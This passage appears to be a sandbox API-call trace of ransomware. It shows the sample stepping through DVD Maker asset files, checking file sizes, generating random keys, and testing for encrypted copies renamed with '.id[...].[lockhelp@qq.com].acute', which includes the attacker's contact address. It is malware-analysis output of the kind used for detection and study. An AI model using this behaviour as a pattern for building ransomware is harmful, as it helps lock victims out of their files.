maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.528] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.528] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=933322) returned 1 [0274.528] CloseHandle (hObject=0x30c) returned 1 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0274.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.529] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.529] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=989322) returned 1 [0274.529] CloseHandle (hObject=0x30c) returned 1 [0274.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0274.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.530] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.530] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5372) returned 1 [0274.530] CloseHandle (hObject=0x30c) returned 1 [0274.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0274.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.530] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.530] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4724) returned 1 [0274.530] CloseHandle (hObject=0x30c) returned 1 [0274.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0274.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.530] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.531] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4710) returned 1 [0274.531] CloseHandle (hObject=0x30c) returned 1 [0274.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0274.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.531] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.532] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=22969) returned 1 [0274.532] CloseHandle (hObject=0x30c) returned 1 [0274.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0274.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.535] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.535] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5647) returned 1 [0274.535] CloseHandle (hObject=0x30c) returned 1 [0274.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png")) returned 0x20 [0274.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.535] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.536] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3214) returned 1 [0274.536] CloseHandle (hObject=0x30c) returned 1 [0274.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0274.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.536] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.537] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4570) returned 1 [0274.537] CloseHandle (hObject=0x30c) returned 1 [0274.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png")) returned 0x20 [0274.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.537] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.537] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4570) returned 1 [0274.537] CloseHandle (hObject=0x30c) returned 1 [0274.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png")) returned 0x20 [0274.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.537] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.538] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5088) returned 1 [0274.538] CloseHandle (hObject=0x30c) returned 1 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png")) returned 0x20 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.538] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.538] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3130) returned 1 [0274.538] CloseHandle (hObject=0x30c) returned 1 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.538] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.538] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5025) returned 1 [0274.538] CloseHandle (hObject=0x30c) returned 1 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png")) returned 0x20 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.539] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3118) returned 1 [0274.539] CloseHandle (hObject=0x30c) returned 1 [0274.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.539] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4955) returned 1 [0274.539] CloseHandle (hObject=0x30c) returned 1 [0274.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0274.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.540] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3081) returned 1 [0274.540] CloseHandle (hObject=0x30c) returned 1 [0274.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd 